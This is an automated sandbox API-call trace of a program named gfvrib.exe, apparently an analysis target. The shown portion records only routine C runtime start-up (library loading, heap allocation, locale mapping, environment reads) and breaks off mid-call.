# Flog Txt Version 1 # Analyzer Version: 3.1.1 # Analyzer Build Date: Jul 31 2019 13:47:23 # Log Creation Date: 02.09.2019 23:39:55.708 Process: id = "1" image_name = "gfvrib.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gfvrib.exe" page_root = "0x4c5c3000" os_pid = "0x93c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gfvrib.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x940 [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xc9f88a10, dwHighDateTime=0x1d561e7)) [0029.035] GetCurrentThreadId () returned 0x940 [0029.035] GetCurrentProcessId () returned 0x93c [0029.035] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=14925812959) returned 1 [0029.035] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0029.036] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.036] GetLastError () returned 0x57 [0029.036] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74650000 [0029.039] GetProcAddress (hModule=0x74650000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0029.039] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.039] GetLastError () returned 0x57 [0029.039] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0029.040] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.040] GetLastError () returned 0x57 [0029.041] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0029.041] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0029.041] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0029.042] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.042] GetLastError () returned 0x57 [0029.042] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74650000 [0029.042] GetProcAddress (hModule=0x74650000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0029.042] GetProcessHeap () returned 0x33c0000 [0029.042] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.042] GetLastError () returned 0x57 [0029.042] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0029.043] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.043] GetLastError () returned 0x57 [0029.043] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0029.043] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0029.043] GetLastError () returned 0x57 [0029.043] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0029.043] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x364) returned 0x33d0620 [0029.043] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0029.043] SetLastError (dwErrCode=0x57) [0029.043] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc00) returned 0x33d0990 [0029.045] GetStartupInfoW (in: lpStartupInfo=0x18fea0 | out: lpStartupInfo=0x18fea0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gfvrib.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x403e10, hStdOutput=0xb1d3bd4f, hStdError=0xfffffffe)) [0029.045] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0029.045] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0029.045] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0029.045] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gfvrib.exe\" " [0029.045] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gfvrib.exe\" " [0029.045] GetLastError () returned 0x57 [0029.045] SetLastError (dwErrCode=0x57) [0029.045] GetLastError () returned 0x57 [0029.045] SetLastError (dwErrCode=0x57) [0029.045] GetACP () returned 0x4e4 [0029.046] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x0, Size=0x220) returned 0x33d0380 [0029.046] IsValidCodePage (CodePage=0x4e4) returned 1 [0029.046] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fed0 | out: lpCPInfo=0x18fed0) returned 1 [0029.046] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f798 | out: lpCPInfo=0x18f798) returned 1 [0029.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0029.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䳞AĀ") returned 256 [0029.046] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䳞AĀ", cchSrc=256, lpCharType=0x18f7ac | out: lpCharType=0x18f7ac) returned 1 [0029.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0029.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f4e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ嵼AĀ") returned 256 [0029.046] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.046] GetLastError () returned 0x57 [0029.046] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0029.046] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0029.047] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ嵼AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0029.047] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ嵼AĀ", cchSrc=256, lpDestStr=0x18f2d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0029.047] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18fcac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿg>\x88±èþ\x18", lpUsedDefaultChar=0x0) returned 256 [0029.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0029.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f508, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0029.047] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0029.047] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f2f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0029.047] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18fbac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿg>\x88±èþ\x18", lpUsedDefaultChar=0x0) returned 256 [0029.047] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x0, Size=0x80) returned 0x33d1d98 [0029.047] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x439e80, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gfvrib.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gfvrib.exe")) returned 0x30 [0029.047] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x33d1e20 [0029.047] RtlInitializeSListHead (in: ListHead=0x439d90 | out: ListHead=0x439d90) [0029.047] GetLastError () returned 0x0 [0029.047] SetLastError (dwErrCode=0x0) [0029.047] GetEnvironmentStringsW () returned 0x33d1e98* [0029.047] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x0, Size=0xaca) returned 0x33d2970 [0029.048] FreeEnvironmentStringsW (penv=0x33d1e98) returned 1 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33d1e98 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33d01a0 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x33d1f38 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x33d1fb0 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33d2028 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x33d20a8 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2e) returned 0x33d2118 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33d2150 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x28) returned 0x33d21a0 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1a) returned 0x33d1ce0 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x33d21d0 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33d2228 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x33d22a8 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2e) returned 0x33d22e0 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1c) returned 0x33d1d08 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x33d2318 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7c) returned 0x33d23f8 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33d2480 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33d24c0 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x33d2508 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x24) returned 0x33d25a0 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x33d25d0 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33d2608 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33d2648 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x33d2698 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3c) returned 0x33d26f8 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33d2740 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2e) returned 0x33d27d0 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1e) returned 0x33d1d30 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2c) returned 0x33d2808 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x33d2840 [0029.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x33d28a0 [0029.049] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2a) returned 0x33d2900 [0029.049] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3c) returned 0x33d3448 [0029.049] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x33d3490 [0029.049] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x24) returned 0x33d2938 [0029.049] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x33d34f0 [0029.049] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x33d3528 [0029.049] HeapFree (in: hHeap=0x33c0000, dwFlags=0x0, lpMem=0x33d2970 | out: hHeap=0x33c0000) returned 1 [0029.049] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x800) returned 0x33d35c0 [0029.049] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0029.049] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40218e) returned 0x0 [0029.049] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gfvrib.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, 